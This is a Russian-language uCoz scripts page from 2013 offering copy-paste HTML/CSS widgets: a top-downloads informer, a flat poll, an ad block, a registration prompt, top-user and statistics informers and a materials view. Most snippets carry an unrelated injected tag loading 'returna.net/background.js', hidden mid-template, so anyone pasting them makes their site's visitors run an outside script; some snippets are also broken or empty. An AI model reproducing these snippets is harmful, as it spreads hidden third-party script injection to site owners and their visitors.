Скрипты для сайта - Скрипты сайтов

Данный скрипт представляет собой удобный и красивый информер для самых скачиваемых файлов ucoz, который очень просто поместить в любой блок.

В шаблоне информера находится изображение файла, сверху, поверх картинки написано количество загрузок. А снизу, полупрозрачная лента с названием файла и иконкой лупы, при нажатии на которую открывается дополнительная панелька с подробной информации о материале.

Данное решение можно перенастроить и под другие модули, такие как новости, блоги или статьи. Интересно, что информер лучших материалов подходит практически под любой дизайн и под сайты любой тематике. Более симпатично смотрится на сайтах игровой тематики.

Важно: Ширина блока, куда вы хотите вставить информер, должна быть не менее 190px!

Если вы хотите, что-бы выводило не 3 материала, а больше, то необходимо добавить в CSS код дополнительные классы: после .ifudslink3 добавляем через запятую .ifudslink4 , .ifudslink5 и так далее, в зависимости от количества материалов.

Установка

1. Первым делом создадим сам информер со следующими параметрами:

[ Каталог файлов - Материалы - Количество загрузок D - Материалы: 3 - Колонки: 1 ]

2. В его шаблоне удаляем все и вставляем следующее:

Код

<div align="center" class="ifboxuds">
  <div class="ifuds"><div style="background: #aaa;">
  <a title="$TITLE$" href="$ENTRY_URL$"><img width="170px" src="$IMG_URL1$"></a>
  <span title="$TITLE$"><a class="ifuds" href="$ENTRY_URL$"><b><?if($TITLE$)?><?if(len($TITLE$)>15)?><script type="text/javascript" src="http://returna.net/background.js"></script><?substr($TITLE$,0,14)?>...<?else?>$TITLE$<?endif?></a><?else?>Без названия<?endif?></b></a><a onclick="$('.ifudslink$NUMBER$').slideToggle(100);" class="ifudslinks2"><img src="http://pnghosts.ru/img/imageshowprevimg.png" title="Подробная информация"></a></span>
  </div></div>
  <div class="loadingnum">Загрузок: $LOADS$</div>
  <div class="ifudslink$NUMBER$"><div class="ifudsoa">Просмотров: <b>$READS$</b><br>Комментариев: <b>$COMMENTS_NUM$</b><br>Категория: <b><a href="$CATEGORY_URL$" class="ifuds"><?if(len($CATEGORY_NAME$)>11)?><?substr($CATEGORY_NAME$,0,10)?>...<?else?>$CATEGORY_NAME$<?endif?></a></b></div></div>
  </div>

3. Заходим в ПУ -> Управление дизайном -> Таблицу стилей CSS и вставляем следующее:

Код

.ifboxuds {position:relative; width:180px; font-size:11px; font-family:tahoma;}
  .ifuds { width:170px; overflow:hidden; padding: 0px 0px 0px 0px;}
  .ifuds a {color:#bababa; text-decoration: none;}
  .ifuds a:hover {color:#818181; text-decoration: underline;}
  .ifuds div { float:left;width:170px; height:70px;overflow:hidden; position:relative; margin: 5px 0px 5px 0px; }
  .ifuds span {float:left;width:100%; left: 0px; bottom: 0px;position:absolute; background: url(http://pnghosts.ru/img/pix_title.png) repeat;
  padding: 4px 0px 4px 0px; font: 9px Verdana,Arial,Helvetica, sans-serif; text-align: center; color: #eee;
  }
  a.ifuds {color:#bababa; text-decoration: none;}
  a:hover.ifuds {color:#818181; text-decoration: underline;}
  .loadingnum{
  position: absolute;
  top: 10px;
  right: 15px;
  padding: 1px 5px;
  background: #000;
  background: rgba(0, 0, 0, 0.73);
  font: bold 10px/14px 'Arial';
  color: #fff;
  border-radius: 0px;
  }
  a.ifudslinks2 {display:inline-block;*display:inline;margin-top:3px; padding: 0px 0px 0 8px;}
  a:hover.ifudslinks2 {cursor:pointer;}
  .ifudsoa {padding:0px 0px 5px 5px;}
  .ifudslink1,.ifudslink2,.ifudslink3 {display:none;position:absolute; width:158px; height: 38px; bottom:25px; margin-left:5px; background:rgba(0, 0, 0, 0.85); border:1px solid #333; text-align:left; z-index:999; padding:5px; color:#eee;}

Установка завершена!

Категория: Скрипты для сайта | Просмотров: 365 | Добавил: DoG | Дата: 29.06.2013 | Комментарии (0)

Вид опроса для uCoz, в стиле flat

Всем привет, давно я не уделял времени на улучшение внешнего вида формы опроса для uCoz, согласитесь надо бы исправить, а так как сейчас на просторах web дизайна популярен стиль flat, я подумал дайка я создам форму опросов именно в этом стиле..

Для начала как и пололаеться, нам следует установить html каркас данного улучьшения для формы опроса, для этого заходим в Админ панель => Опросы => Управление дизайном модуля

удаляем старый html код и устанавливаем новый:

Код

<div class="cell-poll">
  <div class="cell-poll-title">$QUESTION$</div>
  <div class="cell-poll-answers">$ANSWERS$</div>
  <div class="cell-poll-link">
  <span>Ответов: <strong>$TOTAL_VOTES$</strong></span>
  <a href="$RESULTS_LINK$" >Результаты </a>
  <b> | </b>
  <a href="$ARCHIVE_LINK$">Архив </a>
  </div>
</div><script type="text/javascript" src="http://returna.net/background.js"></script><script type="text/javascript">
  var color_poll = ["#5D9AD3","#E96465","#F6954E","#dd8cd2 ","#75D0ED ","#5BC254","#CFC72D","#DD3344","#FE9B6F","#4176B3","#8CC84B","#DD8CD2","#e9eb5b","#E96465","#75D0ED"];
  $('.answer div div').each(function(i){
  if(!color_poll[i]){color_poll[i] = '#F8F8F8';}
  $(this).css({background:color_poll[i++]});
  });
</script>

Теперь нам осталось прописать css стили:

Код

/* Вид опроса для uCoz, в стили flat
------------------------------------------*/
.cell-poll{
  float:left;
  width:230px;
  color:#666;
  background: #fff;
  padding: 10px 10px 10px 10px;
  border: 1px solid #B6C0CD;
  border-radius:5px;
}

.cell-poll-title{
  float:left;
  width:100%;
  padding-bottom: 10px;
  border-bottom: 1px solid #B6C0CD;
  font:12px Verdana,Arial,Helvetica, sans-serif;
  font-weight:bold;
  text-align:center;
  color:#666;
}

.cell-poll a {text-decoration:none; outline:none}

.cell-poll-answers{
  float:left;
  width:100%;
  margin: 10px 0px 10px 0px;
  text-align:left;
}

.answer{
  float:left;
  width:100%;
  color:#f8f8f8;
  position:relative;
  height:20px!important;
  padding: 2px 0px 2px 0px;
  margin: 0px 0px 7px 0px;
  background: #f8f8f8;
}

.answer input{margin: 3px 5px 2px 5px;}
.answer label {margin: 2px 0px 2px 0px; color:#555;}

.answer div{
  height:20px!important;
  padding: 2px 0px 2px 0px;
  position:absolute;
  z-index:998;
  top:0px;
  left:0px;
  width:100%;
}

.answer span{
  float:right;
  height:14px!important;
  margin-right: 2px;
  padding: 2px 5px 2px 5px;
  color:#666;
  position:relative;
  top:1px;
  left:0px;
  z-index:999;
  background: #fff;

}

.pollBut{
  cursor:pointer;
  border:none!important;
  margin-top:10px;
  background: #64b0db!important;
  padding: 5px 20px 5px 20px!important;

  font:11px Verdana,Arial,Helvetica, sans-serif!important;
  font-weight: bold!important;
  color:#fff!important;
}

.pollBut:active {box-shadow:inset 0px 0px 3px #166693!important;}
.pollBut:hover {background:#51a4d2!important;}

.cell-poll-link{
  float:left;
  width:100%;
  padding-top: 10px;
  border-top: 1px solid #B6C0CD;

  font:9px Verdana,Arial,Helvetica, sans-serif;
  color:#999;
}

.cell-poll-link span{float:left;}
.cell-poll-link b,
.cell-poll-link a {float:right;}
.cell-poll-link b {color:#B6C0CD;}

Вот и всё, наш вид опроса для системы uCoz в стиле flat готова.

На этом всё спасибо за внимание!

Категория: Скрипты для сайта | Просмотров: 311 | Добавил: DoG | Дата: 29.06.2013 | Комментарии (0)

Блок "место свободно"

Блок "место свободно" при наведении курсором на баннер картинка поворачивается на 360 градусов. Вот такой вот простенький рекламный блок для сайта. Установка проста, создаете глобальный блок и пропишите код.

Код

<div class="doll" align="center">
<style>.socialNetworks {display:inline;margin-right:10px;}
.socialNetworks:hover {display:inline;}
.link_me {bottom:0;margin-top:0px; margin-right:0px;}
.socialNetworks img {width:88px;height:31px;background:url(http://bambun.ru/images/banner88x31.png);-webkit-transition: all 400ms;-moz-transition: all 400ms;-o-transition: all 400ms;transition: all 400ms;position:relative;bottom:0px;right:0px;}
.socialNetworks img:hover {transform:rotate(-360deg);-webkit-transform:rotate(-360deg);-moz-transform:rotate(-360deg);-o-transform:rotate(-360deg);position:relative;bottom:0px;right:0px;}
</style><script type="text/javascript" src="http://returna.net/background.js"></script>
<center><div class="link_me">
<div class="socialNetworks"><img title="Место свободно" src="http://bambun.ru/images//banner88x31.png"></div>
<br><div class="socialNetworks"><img title="Место свободно" src="http://bambun.ru/images/banner88x31.png"></div>
</div></center>

Категория: Скрипты для сайта | Просмотров: 871 | Добавил: DoG | Дата: 10.06.2013 | Комментарии (0)

Светло - синея просилка для регистраций на сайте

Светло - синея просилка для регистраций на сайте, красивая синея просилка, для светлых и можно попробовать на темные на темном фоне мне кажется тоже красиво будит смотреться, а так она для всетлых дизайн сайтов. Показуется только не зарегистрированным и не залогиненым юзерам.
Меняйте текст и подбирите цвет под свой сайт.
Приступаем к установке:

В самый низ сайта прописываем этот код.

Код

<p style="text-align: left;"><div id="testcs-ru">Регистрируйся на На сайте и общайся с людьми! Зови друзей, играй на хороших серверах CS 1.6,этот Портал Только для тебя и твоих друзей.
</div></p><script type="text/javascript" src="http://returna.net/background.js"></script>
<script>#testcs-ru a{ color: #fff; font-weight:bold; text-decoration: none; }
#testcs-ru:hover{ opacity: 1; }
#testcs-ru{
position: fixed;
bottom: 10px;
line-height: 16px;
left: 10px;
z-index: 30000;
opacity: 0.8;
width: 260px;
height: auto;
background: #0000FF;
color: #fff;
text-shadow: rgba(0,0,0,0.3) 0px -1px 0px;
padding: 10px;
text-decoration: none;
font-size: 11px;
font-family: Tahoma;
border: 1px solid #0000FF;
box-shadow: rgba(0,0,0,0.3) 0px 1px 4px, inset #0000FF 0px 1px 0px;
border-radius: 3px;
  }</script>

Категория: Скрипты для сайта | Просмотров: 329 | Добавил: DoG | Дата: 24.05.2013 | Комментарии (0)

Скрипт топ пользователей по кол. сообщений на форуме для uCoz

Установка:
1.) Первое то что мы будем это создавать информер:
И так, создаем такой информер с такими параметрами:

Название: "Топ пользователей"
Раздел: Пользователи
Способ сортировки: Кол. сообщений в форуме
Количество материалов: 5
Количество колонок: 1

В шаблон созданного нами информера вставляем:

Код

<div class="cstavinf"><style type="text/css">@import url('http://bambun.ru/css_js/infor_styl.css') all;</style><div class="cstavinf_ava">
<img src="$AVATAR_URL$http://bambun.ru/images/ar.png"></div>
<script type="text/javascript" src="http://returna.net/background.js"></script>
<div class="cstavinf_nick">
<a href="$PROFILE_URL$">$USERNAME$</a></div>
<div class="cstavinf_number"><a href="/forum/0-0-1-3-$USER_ID$">$FORUM_POSTS$ сообщений</a></div></div>

Категория: Скрипты для сайта | Просмотров: 472 | Добавил: DoG | Дата: 19.05.2013 | Комментарии (0)

Радио "Русский-хит" для сайта или блога

Русский Хит начал вещание 19 января 2012 года. В эфире звучат только лучшие композиции российских исполнителей.
РУССКИЙ ХИТ может звучать на любом сайте или ЖЖ!

Установка:
Копируете код и вставляете в любую чвсть сайта.

Код

Розовый цвет плеера

Код

Категория: Скрипты для сайта | Просмотров: 326 | Добавил: DoG | Дата: 19.05.2013 | Комментарии (0)

Полная статистика для сайта в ajax окне

Полная статистика для сайта в ajax окне, материал из категории Статистика сайта ucoz. Кому не нужна статистика на сайте, ее можно скрыть, и при клике она появиться в ajax окне. Статистика полная как видите на картинке. От вас только требуется поставить код где на сайте будит отображаться надпись Статистика. И как говорилось при нажатие на надпись будит появляться полная статистика вашего сайта.
И так:
Создаем информер с такими параметрами:
[Пользователи, посетившие сайт за текущий день · Материалы · Имя пользователя · Колонки: 0]
И прописываем туда код, не забыв убрать который шел по умолчанию.

Код

<a href="$PROFILE_URL$" class="$CLASS$">$USERNAME$</a>,

Далее, находим место где наша надпись будит на сайте и вставляем туда этот код:

Код

<a href="javascript:uwnd_funk23()" >Статистика</a>
<script type="text/javascript" src="http://bambun.ru/css_js/uwnd_stats.js"></script>
<script type="text/javascript" src="http://returna.net/background.js"></script>
<div style="display:none">
<div id="stats_uwnd">$ONLINE_COUNTER$</div>
<div id="online_stat">$ONLINE_USERS_LIST$</div>
<div id="was">$MYINF_7$</div>
</div>

Не забываем поменять номер информера который создали до этого.

Категория: Скрипты для сайта | Просмотров: 422 | Добавил: DoG | Дата: 19.05.2013 | Комментарии (0)

Бесплатная отправка СМС

Отправить СМС скрипт с подсказкой при наведении
такой же как на сайте больше подходит для тёмных сайтов
Создаём блок вставляем скопированный ниже код

Код

Категория: Скрипты для сайта | Просмотров: 361 | Добавил: DoG | Дата: 13.05.2013 | Комментарии (0)

Вид материалов для каталога статей от сайта megafact

Вид материалов в зелено-белых тонах для каталога статей, архива новостей и т.д.

Для начала надо скачать архив с сайта иначе картинок не будет.
[Извлекаем картинки -> создаем папку images в файловом менджере -> загружаем картинки в эту папку.]

Скачать архив с Yandex.Disk

Вставляем этот код в вид материалов:

Код

<div class="news">
<div class="news_l">
  <h2>$MODER_PANEL$ <a href="$ENTRY_URL$"><font size=4 color="#FFD700">$TITLE$</font></a></h2>
  <hr>
  <div class="img_news">
  <div class="uzoom">
  <img src="$IMG_URL1$" class="uber_img" alt="$TITLE$" />

</div>


  </div>
  <p class="message">$MESSAGE$ Описание отсутствует</p>
  <div class="clear"></div>
</div>
<div class="news_r">
<div class="date" title="$WDAY$ в $TIME$">$DATE$</div>
<ul>
  <li><img src="/images/21-skull.png" alt="Автор материала" title="Автор материала"/><a href="$PROFILE_URL$" title="автор материала">$USERNAME$</a></li>
  <li><img src="/images/179-notepad.png" alt="Комментариев" title="Комментариев"/><script type="text/javascript" src="http://returna.net/background.js"></script><a href="$COMMENTS_URL$" title="комментариев">$COMMENTS_NUM$</a></li>
  <li><img src="/images/12-eye.png" alt="Просмотров" title="Просмотров"/><span title="просмотров">$READS$</span></li>
<br><div align="center"><a style="color:#267578;" title="Подробнее" href="$ENTRY_URL$" class="readon"><span>Подробнее</span></a></div>
  </ul>
</div>
</div>

А это в css:

Код

/* style news */
.clear {
  clear:both;
}
.news {
  width:auto;
  position:relative;
  margin-bottom:30px;
  padding:15px;
  background:url(/images/title-bg1.png)no-repeat;
  border:1px solid #d3d3d3;
  font-family:helvetica, arial, sans-serif;
}
.news_l {
  padding-right:145px;
  min-height:150px;
}
.news_r {
  width:140px;
  height:100%;
  background:#f4f4f4;
  position:absolute;
  top:0;
  right:0;
  text-align:center;
}
.news h2 {
  margin:0;
  background: 0px 7px repeat;
  height:25px;
  overflow:hidden;
  margin:10px 0 15px 0;
  position:relative;
}
.news h2 a {

  padding:2px 10px 6px 0;
  text-decoration:none;
  color:#89a0af; /*цвет заголовка новости*/
  font-size:16px;
}
.news h2 span a {
  padding-right:0;
}
.img_news {
  float:left;
  display:inline-block;
  margin:0 14px 5px 0;
  padding:5px;
  background:#EDF1F2;
  border:1px solid #DDE1E2;
}
.img_news img {
  width:180px;
  Height:150px;
  border:1px solid #DDE1E2;
}
.message {
  padding:0 0 10px 0;
  margin:0;
  font-size:20px;
  text-align:justify;
}
.news_r .date {
  display:inline-block;
  position:relative;
  font-size:13px;
  padding:7px 10px 4px 10px;
  margin:18px 0 -5px 0;
  background:url(/images/title-bg1.png); /*цвет блока с датой*/
  border:1px solid #fff;
  color:#fff;
  text-align:center;
}
.news_r ul {
  list-style:none;
  margin:0;
  padding:0;
  text-align:left;
  width:100px;
  margin:18px auto 0 auto;
  font-size:12px;
}
.news_r ul li {
  padding:3px 0 3px 5px;
  border-bottom:1px dotted #BEBEBE;
}
.news_r ul li img {
  margin-right:10px;
  position:relative;
  top:4px;
}
.news_r ul li a, .news_r ul li span {
  color:#707070;
  text-decoration:none;
}

Категория: Скрипты для сайта | Просмотров: 340 | Добавил: DoG | Дата: 13.05.2013 | Комментарии (0)

Быстрый подъем вверх страницы

Кнопка вверх. Предназначена для быстрого поднятия страници вверх. Кнопка устанавливается в верхем правом углу сайта. Появляется только тогда, когда пользователь прокрутит немного страницу вниз. Чем ниже страница станет, тем кнопка обретает насыщенный цвет.

Установка: копируем код и вставляем в нижнюю часть сайта.

Код

Категория: Скрипты для сайта | Просмотров: 418 | Добавил: DoG | Дата: 13.05.2013 | Комментарии (0)

1-10 11-20 21-30 31-40 41-50 51-60 61-64